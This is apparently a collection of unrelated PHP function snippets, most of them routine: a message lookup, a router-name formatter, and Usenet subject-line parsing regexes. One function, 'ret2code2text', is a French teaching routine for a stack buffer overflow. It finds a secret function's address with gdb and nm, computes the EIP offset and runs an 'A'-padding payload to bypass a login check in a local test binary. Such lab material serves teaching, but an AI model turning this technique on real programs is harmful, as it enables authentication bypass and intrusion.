vice-versa',\n\t\t'same_item_warning' => 'Oops! You are trying to move an item relative to itself',\n\t\t'combo_warning' => 'Oops! You tried to insert an incomplete rule',\n\t\t);\n\n\t$lang = array(\n\t\t'en-us' => $en_us\n\t\t);\n\n\t\t$language = (isset($lang[$language])) ? $language : 'en-us';\n\t\t$msg = (isset($lang[$language][$what])) ? $lang[$language][$what] : $what;\n\t\treturn $msg;\n}", "function ret2code2text() {\n\t$this->chapitre(\"Return to .TEXT\");\n\t$this->titre(\"Outrepasser une authentification -> return to text\");\n\t$this->ssTitre(\"Exec Our Programme\");\n\t$this->requette(\"$this->file_path '0123456789' \");\n\t$this->pause();\n\t$this->requette(\"$this->file_path AAAABBBBCCCC\");\n\t$this->requette(\"$this->file_path AAAABBBBCCCCDDDDABCD\");\n\t$this->article(\".Text\", \"La zone text contient les instructions du programme. \n\t\t\tCette région est en lecture seule. \n\t\t\tElle est partagée entre tous les processus qui exécutent le même fichier binaire. \n\t\t\tUne tentative d'écriture dans cette partie provoque une erreur segmentation violation. -> segfault, cette zone n'est pas influençables par l'ASLR ni NX.\");\n\t$this->pause();\n\n\t$this->bin2text2size();$this->pause();\n\t$this->bin2text2content();$this->pause();\n\t$this->titre(\"Adresse de la fonction secret\");\n\t$ret = trim($this->req_ret_str(\"$this->file_path AAAAAAAA | grep '0x' | cut -d : -f 2\"));\n\t$this->ssTitre(\"Via gdb\");\n\t$this->requette(\"gdb -q --batch -ex \\\"print &secret\\\" $this->file_path\");\n\t$this->requette(\"gdb -q --batch -ex \\\"info symbol $ret\\\" $this->file_path\");\n\t$this->ssTitre(\"Via nm\");\t$this->requette(\"nm $this->file_path | grep secret\");\n\t$this->ssTitre(\"Via le script source\");$this->requette(\"$this->file_path AAAAAAAA\");\n\t$this->pause();\n\t$overflow = $this->bin2fuzzeling(\"\");$this->pause();\n\t// $offset_eip = trouve_offset($this->file_path,$overflow) ;\n\t$offset_eip = $this->bin2offset4eip($overflow);\n\t$this->ssTitre(\"ESP & EBP\");\n\t// diff_esp_ebp();pause(); // ok\n\t$ret = $this->hex2rev_32($ret);\n\t$query = \"$this->file_path `python -c print'\\\"A\\\"*$offset_eip+\\\"$ret\\\"'`\";\n\t$this->ssTitre(\"Sous Linux 32 Bits\");\n\t$this->ssTitre(\"Exec Programme\");\n\t$this->requette(\"$this->file_path 123456\");\n\t$this->ssTitre(\"Exec Programme with our payload \");\n\t$this->cmd(\"localhost\", $query);\n\t$this->article(\"Note\", \"Dot it a la main,php recoit un signal segfault du prog qui a lance d'ou l'arret de l'execution de la commande system -> on test en cmd\");\n\t$this->pause();\n\t$this->notify(\"End .text\");\n}", "protected function getBoilerplate()\n {\n return '# Project Licenses\nThis file was generated by the [PHP Legal Licenses](https://github.com/Comcast/php-legal-licenses) utility. It contains the name, version and commit sha, description, homepage, and license information for every dependency in this project.\n\n## Dependencies\n\n';\n }", "protected function dumpHeader() {\n\t\treturn trim('\n# TYPO3 Extension Manager dump 1.1\n#\n#--------------------------------------------------------\n');\n\t}", "function ff_hh_beautify_hw_name( $hw, $discard_vendor = '' ) {\n\tif ( ! strncmp( $hw, 'tp-link', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = str_replace( ' TL ', ' TL-', $hw );\n\t} elseif ( ! strncmp( $hw, 'ubiquiti', 8 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = str_replace( 'bullet-m', 'bullet-m', $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = ucwords( $hw );\n\t} elseif ( ! strncmp( $hw, 'ubnt', 4 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = str_replace( 'erx', 'ER-X', $hw );\n\t\t$hw = str_replace( 'sfp', 'SFP', $hw );\n\t\t$hw = trim( $hw, ' -' );\n\t\t$hw = ucwords( $hw );\n\t} elseif ( ! strncmp( $hw, 'd-link', 6 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = str_replace( ' DIR ', ' DIR-', $hw );\n\t} elseif ( ! strncmp( $hw, 'linksys', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', ' ', $hw );\n\t\t$hw = str_replace( ' WRT', ' WRT-', $hw );\n\t} elseif ( ! strncmp( $hw, 'buffalo', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( 'HP-AG300H-WZR-600DHP', 'HP-AG300H & WZR-600DHP', $hw );\n\t\t$hw = str_replace( '-WZR', 'WZR', $hw );\n\t} elseif ( ! strncmp( $hw, 'netgear', 7 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, 'allnet', 6 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, 'gl-', 3 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, 'onion-omega', 11 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t} elseif ( ! strncmp( $hw, 'alfa', 4 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, 'wd', 2 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, '8devices', 8 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( 'CARAMBOLA2-BOARD', 'Carambola 2', $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, 'meraki', 6 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( 'meraki', '', $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t} elseif ( ! strncmp( $hw, 'openmesh', 8 ) ) {\n\t\tif ( $discard_vendor ) $hw = str_replace( $discard_vendor, '', $hw );\n\t\t$hw = strtoupper( $hw );\n\t\t$hw = str_replace( 'openmesh', '', $hw );\n\t\t$hw = str_replace( '-', '', $hw );\n\t}\n\treturn $hw;\n}", "public function sound_mp3()\n\t{\n\t\tif (preg_match('/.+[-_\\s]{0,3}[\\(\\[]\\d+\\/\\d+[\\)\\]][-_\\s]{0,3}\"(.+)' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Terraplane Sun - Funnel of Love.mp3\" - 21.55 MB - (1/6) - yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}\\(\\d+\\/(\\d+\\))[ _-]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //trtk09920 - [01/12] - \"Guido Negraszus - Night Cafe Iii (Freedom Travellers) (2012)(320).par2\" yEnc\n\t\tif (preg_match('/^trtk\\d+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [001/153] - \"C4 House Party Horse Meat Disco Set 6.nfo\" C4 House Party Horse Meat Disco Set 6 yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [19/22] - C.K.N. Demo 85 \"19-rotten system.mp3\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - (.+)[-_\\s]{0,3}\".+?' . $this->e0 . '.+yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(LUNATIC SOUL - IMPRESSIONS) [00/18] - \"Lunatic Soul - Impressions 2011.nzb\" yEnc\n\t\tif (preg_match('/^\\(.+\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[1/8] - \"Black Market Flowers - Bind (1993).sfv\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[1/1] - (150 MP3 Album Charts) - \"Atlantean Kodex - The White Goddess.rar\" yEnc\n\t\t//[1/1] - (MP3 Album Charts) - \"Black Sabbath - 13.rar\" yEnc\n\t\t//[1/1] - (Top100 Album Charts) - \"Bastille - Pompeii.rar\" yEnc\n\t\t//[1/1] - (Top100 Charts) - \"Beatrice Egli - Gluecksgefuehle.rar\" yEnc\n\t\t//[1/1] - (Top100 Single Charts) - \"Alicia Keys - Girl On Fire.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\\(((Top)?\\d+ )?(MP3 )?((Album|Single) )?Charts\\)[ -]{0,4}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[6];\n\t\t} //[1/1] - (Album Top 100) - \"[Dance] David Guetta - One Love (2010) .rar\" yEnc\n\t\t//[1/1] - (Album Top 100) - \"Aerosmith - Music From Another Dimension.rar\" yEnc\n\t\t//[1/1] - Album Top 100 - \"ACDC - Live At River Plate.rar\" yEnc\n\t\t//[1/1] (Album Top 100 - 2012) - \"Alicia Keys - Girl On Fire.rar\" yEnc\n\t\t//[1/1] (Album Top 100 2012) - \"Asaf Avidan And The Mojos - One Day.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}(\\()?(Album|Single) Top \\d+ ([- ]{0,2}\\d+)?(\\))? - \"(\\[.+?\\] )?(.+?)' .\n\t\t\t\t\t $this->e0 . ' {1,4}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[6];\n\t\t} //[1/1] - Top 100 Album Charts 2012 - \"Aura Dione feat. Rock Mafia - Friends.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}Top \\d+ Album Charts \\d+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' {1,4}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<>usenet-piraten.info<>partner<>ssl-news.info<> - [10/10] - \"Overexposed (Deluxe Version).vol31+23.par2\" yEnc\n\t\tif (preg_match('/^.+usenet-piraten\\.info.+ - \\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(1/1) \"Adam Levine (Maroon 5) & Alicia Keys - Daylight & Girl on fire LIVE 55TH GRAMMY AWARDS 320Kpbs.mp3\" yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(1/4) - VERBAteam™ present - \"Avril Lavigne - Rock 'N Roll (Official Audio).mp3\" - 5,80 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - VERBAteam™ present - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e2,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[1/1] - (Album Top 1000) - \"Davis, Miles - Complete Live at the Plugged Nickel 1965.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}\\(Album Top \\d+\\)[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[1/1] - Album Top 100 - \"Rammstein - Made In Germany 1995-2011.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\][-_\\s]{0,3}Album Top \\d+[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Andrea Berg - My Danish Collection (2013) by dem verrückten Lordi (14/27) \"Andrea Berg - My Danish Collection (2013).par2\" - 132,74 MB 150920134 yEnc\n\t\t//Der Deutsche Beat Mix Teil 2 auf wunsch (by dem verrückten Lordi) (2/9) \"Der Deutsche Beat Mix Teil 3 Back.jpg\" - 117,84 MB 13.11.05 yEnc\n\t\tif (preg_match('/^(.+?) (\\()?by dem verrückten Lordi(\\))? {1,2}\\(\\d+\\/\\d+\\) \".+?' .\n\t\t\t\t\t $this->e0 . '[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB].+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Christian Anders - Tief in dir (15/24) \"Christian Anders - Tief In Dir Back.jpg\" - 58,56 MB by dem verrückten Lordi 0703123 yEnc\n\t\tif (preg_match('/^(.+?) \\(\\d+\\/\\d+\\) \".+?' . $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB] {1,2}by dem verrückten Lordi.+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Der etwas andere Mix - Wilde Herzenmix (auf wunsch) neu (by dem verrückten Lordi) (1/8) \"Der etwas andere Mix - Wilde Herzenmix.par2\" yEnc\n\t\tif (preg_match('/^Der etwas.+ - (.+) \\(\\d+\\/\\d+\\) \".+?' . $this->e0 . '.+yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Full Discography - The Cranberries (01/47) \"Full Discography - The Cranberries.par2\" - 3,52 GB 2812111 yEnc\n\t\tif (preg_match('/^(.+?) \\(\\d+\\/\\d+\\) \".+?' . $this->e0 .\n\t\t\t\t\t '[-_\\s]{0,3}\\d+[.,]\\d+ [kKmMgG][bB] {1,2}\\d+ yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //jean ferrat année 1967 à 1969 meil29 \"17 Rien à voir.mp3\" yEnc\n\t\tif (preg_match('/^(.+?) meil29 \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Selected Songs by Various Artists - Depeche Mode - Personal Jesus (Acoustic Version).mp3 yEnc\n\t\tif (preg_match('/^Selected Songs by Various Artists - (.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "function main()\t{\n\n\t\t$content = '';\n\n\t\t$content .= '<br /><b>Change table tx_realurl_redirects:</b><br />\n\t\tRemove the field url_hash from the table tx_realurl_redirects, <br />because it\\'s not needed anymore and it\\'s replaced by the standard TCA field uid as soon as you do <br />the DB updates by the extension manager in the main view of this extension.<br /><br />ALTER TABLE tx_realurl_redirects DROP url_hash<br />ALTER TABLE tx_realurl_redirects ADD uid int(11) auto_increment PRIMARY KEY';\n\t\t\n\t\t$import = t3lib_div::_GP('update');\n\n\t\tif ($import == 'Update') {\n\t\t\t$result = $this->updateRedirectsTable();\n\t\t\t$content2 .= '<br /><br />';\n\t\t\t$content2 .= '<p>Result: '.$result.'</p>';\n\t\t\t$content2 .= '<p>Done. Please accept the update suggestions of the extension manager now!</p>';\n\t\t} else {\n\t\t\t$content2 = '</form>';\n\t\t\t$content2 .= '<form action=\"'.htmlspecialchars(t3lib_div::linkThisScript()).'\" method=\"post\">';\n\t\t\t$content2 .= '<br /><br />';\n\t\t\t$content2 .= '<input type=\"submit\" name=\"update\" value=\"Update\" />';\n\t\t\t$content2 .= '</form>';\n\t\t} \n\n\t\treturn $content.$content2;\n\t}", "function cc_plugin($title, $excerpt, $url, $blog_name, $tb_url, $pic, $profile_link)\r\n{\r\n //Standard Trackback\r\n $title = urlencode(stripslashes($title));\r\n $excerpt = urlencode(stripslashes($excerpt));\r\n $url = urlencode($url);\r\n $blog_name = urlencode(stripslashes($blog_name));\r\n\r\n //Create a new comment using the trackback variables.\r\n}", "private function makeWhatPart() {\n $query = \"(\";\n foreach ($this->what as $field) {\n $query .= $field . \", \";\n }\n return substr_replace($query ,\") \",-2);\n }", "function foucs_about_us_desc () {\n ob_start();\n\tinclude 'support/foucs-aboutus.php';\n\treturn ob_get_clean();\n}", "function aboutHNG()\n{\n return 'The HNG is a 3-month remote internship program designed to locate the most talented software developers in Nigeria and the whole of Africa. Everyone is welcome to participate (there is no entrance exam). We create fun challenges every week on our slack channel. THose who solve them stay on. Everyone gets to learn important concepts quickly, and make connections with people they can work with in the future. The intern coders are introduced to complex programming frameworks, and get to work on real applications that scale. the finalist are connected to the best companies in the tech ecosystem and get full time jobs and contracts immediately.';\n}", "public function dvdr()\n\t{\n\t\tif (preg_match('/^([a-zA-Z].+) \\[\\d+\\/\\d+\\] - (\"|#34;).+(\"|#34;) yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function getSpecialInstructions(): string\n {\n return $this->_specialInstructions;\n }", "function ut_main()\n{\n\t$res_str = \"\";\n\t$http_acc = array(\n\t\t'en-us,en;q=0.5',\n\t\t'da, en-gb;q=0.8, en;q=0.7',\n\t\t'zh, en-us;q=0.8, en;q=0.7',\n\t\t'xx, fr-FR;q=0.3, de-DE;q=0.5',\n\t\t'none',\n\t\tarray()\n\t);\n\n foreach($http_acc as $http) {\n\t\t$res = ut_loc_accept_http($http);\n\t\t$res_str .= @\"Accepting $http: $res\\n\";\n\t}\n\n return $res_str;\n}", "function OGSPlugin_Traitement_Galaxyraw(){\r\n\r\n\tglobal $db, $fp, $is_ogsplugin, $pub_galaxy, $pub_system, $pub_content, $pub_who, $who, $pub_what, $what, $ogspy_server_version, $log_ogsgalview, $system, $galaxy;\r\n\t$lines = stripslashes(utf8_decode($pub_content));\r\n\tif (defined(\"OGS_PLUGIN_DEBUG\")) fwrite($fp,\"galaxyraw: \".$lines.\"\\n\");\r\n\t$lines = explode(chr(10), $lines);\r\n\t$system_added = galaxy_system($lines);\r\n\t// voir majs stats galaxy\r\n\t//log_(\"load_system\", array($galaxy, $system));\r\n\t//log_plugin_(\"load_system\",$num_spyadded);\r\n\tif (isset($system_added[0]) && $system_added[0]!=\"\" && isset($system_added[1]) && $system_added[1]!=\"\") {\r\n\t\tif ($log_ogsgalview==true)\r\n\t\t\tlog_plugin_(\"load_system_OGS\", array($galaxy.\":\".$system. \"(\".$system_added[0].\":\".$system_added[1].\")\", /*$system_added[0].\":\".$system_added[1]*/(((int)$system_added[0]==$galaxy && (int)$system_added[1]==$system)? 15:0 ) ));\r\n\t\tSendHttpStatusCode(\"701\");\r\n\t}\r\n\tSendHttpStatusCode(\"702\");\r\n}", "private function _broFist()\n {\n $this->_message(\"..............__\");\n $this->_message(\"......../´¯/''/´`¸\");\n $this->_message(\"...../'/../../..../¨¯\\\\\");\n $this->_message(\"...('(...´..´.¯~/'..')\");\n $this->_message(\"....\\...........'.../\");\n $this->_message(\".....\\...\\.... _.·´\");\n $this->_message(\"......\\.......(\");\n $this->_message(\"BRO FIST\");\n }", "public function _strings_for_pot()\n {\n }", "public function inner_sanctum()\n\t{\n\t\tif (preg_match('/^\\[ nEwZ\\[NZB\\]\\.iNFO( \\])?[-_\\s]{0,3}\\[ (\\d+[-_])?(.+?) \\][-_\\s]{0,3}(File )?[\\(\\[]\\d+\\/(\\d+[\\)\\]]): \"(.+)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\").+?(yEnc)?$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //nEwZ[NZB].iNFO - VA-Universal_Music_Sampler_07_February-PROMO-CDR-FLAC-2013-WRE - File [6/9]: \"01-alesso-years_(hard_rock_sofa_remix).flac\"\n\t\tif (preg_match('/^nEwZ\\[NZB\\]\\.iNFO[-_\\s]{0,3} (.+?) [-_\\s]{0,3}(File )?[\\(\\[]\\d+\\/(\\d+[\\)\\]]): \"(.+)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\")$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //..:[DoAsYouLike]:.. 1,11 GB \"KGMmDSSHBWnxV4g7Vbq5.part01.rar\" 47,68 MB yEnc\n\t\tif (preg_match('/.+[DoAsYouLike\\].?[ _-]{0,3}\\d+[,.]\\d+ [mMkKgG][bB][-_\\s]{0,3}\"(.+?)(\\.part\\d*|\\.rar)?(\\.vol.+ \\(\\d+\\/\\d+\\) \"|\\.[A-Za-z0-9]{2,4}\")[ _-]{0,3}\\d+([,.]\\d+ [mMkKgG])? [bB][-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(01/10) \"LeeDrOiD HD V3.3.2-Port-R4-A2SD.par2\" - 357.92 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)( - Description -)? \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 .\n\t\t\t\t\t '( - \\d+[,.]\\d+ [mMkKgG][bB])? - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"Ashlar-Vellum Graphite v8 2 2 WinAll Incl Keygen-CRD.par2\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(VA-I_Love_Yaiza_Vol.1-WEB-2012-ServerLab) [01/11] - \".sfv\" yEnc\n\t\tif (preg_match('/^\\(([a-zA-Z0-9._-]+)\\) \\[\\d+\\/(\\d+\\]) - \".+?([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev\"|\\.vol.+?\"|\\.[A-Za-z0-9]{2,4}\"|\") yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(17/41) - \"3-8139g0m530.017\" yEnc\n\t\tif (preg_match('/^[\\[\\(]\\d+( of |\\/)(\\d+[\\]\\)])[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //nEwZNZB.wz.cz - The.Block.AU.Sky.High.S07E12.WS.PDTV.XviD.BF1 - File [01/22]: \"The.Block.AU.Sky.High.S07E12.WS.PDTV.XviD.BF1.part01.rar\" yEnc\n\t\tif (preg_match('/^nEwZNZB\\.wz\\.cz - (.+?) - File \\[\\d+\\/\\d+]: \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //nEwZ[NZB]_wz_cz - u.s.drug.wars.s02e06.hdtv.x264-mtg - File [02/28]: \"eII34BvTxvDMSJZ2ulvh.r00\" yEnc\n\t\tif (preg_match('/^nEwZ\\[NZB\\]_wz_cz - (.+?) - File \\[\\d+\\/\\d+]: \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //nEwZNZB.wz.cz - Club_FG-SAT-05-22 - File 4 of 4: \"01-jean_jerome-club_fg-05-22-2013-tdmlive.mp3\" yEnc\n\t\tif (preg_match('/^nEwZNZB\\.wz\\.cz - (.+?) - File \\d+ of \\d+: \".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Big.Brother.IL.S05E01.WS.PDTV.XviD-Silver007 [1/1] - \"Big.Brother.IL.S05E01.WS.PDTV.XviD-Silver007.avi\" yEnc\n\t\tif (preg_match('/^[a-zA-Z0-9._-]+ \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match) && !preg_match('/[a-fA-F0-9]{32}/', $this->subject)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[ f680631754c469e49d3447bf0beadb8e ] [1/8] - \"00-chris_carreiro-dirty-web-2014.m3u\" yEnc\n\t\t//\t\tif (preg_match('/^\\[ [a-f0-9]{32} \\] \\[\\d+\\/\\d+\\] - \"\\d+[-_](.+?)\\.[a-z0-9]{3,4}\" yEnc$/i', $this->subject, $match)) {\n\t\t//\t\t\treturn $match[1];\n\t\t//\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), 